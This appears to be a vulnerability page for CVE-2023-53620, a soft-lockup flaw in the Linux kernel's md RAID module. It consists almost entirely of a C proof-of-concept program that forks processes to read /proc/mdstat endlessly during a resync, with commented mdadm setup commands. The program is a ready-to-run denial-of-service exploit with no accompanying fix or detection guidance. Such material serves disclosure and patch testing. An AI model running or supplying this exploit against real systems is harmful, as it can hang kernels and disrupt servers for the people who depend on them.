CVE-2023-53620 Linux内核md模块软死锁漏洞

/* CVE-2023-53620 PoC - Trigger soft lockup in md status_resync() * * This PoC demonstrates how to trigger the soft lockup vulnerability * in the Linux kernel's md subsystem by rapidly querying RAID sync status * while a resync operation is in progress. * * Requirements: Linux kernel with md module, root or sudo access to setup RAID */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #include <signal.h> #include <sys/wait.h> #define LOOPS 1000000 int main(int argc, char *argv[]) { int fd; char buf[4096]; int i; pid_t pid; /* Step 1: Ensure md device exists and resync is active. * This typically requires root privileges to setup: * mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/loop0 /dev/loop1 * mdadm --grow /dev/md0 --level=5 --raid-devices=3 --add /dev/loop2 */ /* Step 2: Fork multiple processes to repeatedly read /proc/mdstat * This will trigger status_resync() concurrently with md_do_sync() */ for (i = 0; i < 4; i++) { pid = fork(); if (pid == 0) { /* Child process: rapidly query md status */ while (1) { fd = open("/proc/mdstat", O_RDONLY); if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0) ; close(fd); } } exit(0); } } /* Parent process: wait for soft lockup to trigger */ printf("Triggering CVE-2023-53620 soft lockup...\n"); printf("Monitor system with: watch cat /proc/mdstat\n"); sleep(60); /* Cleanup */ kill(0, SIGTERM); return 0; }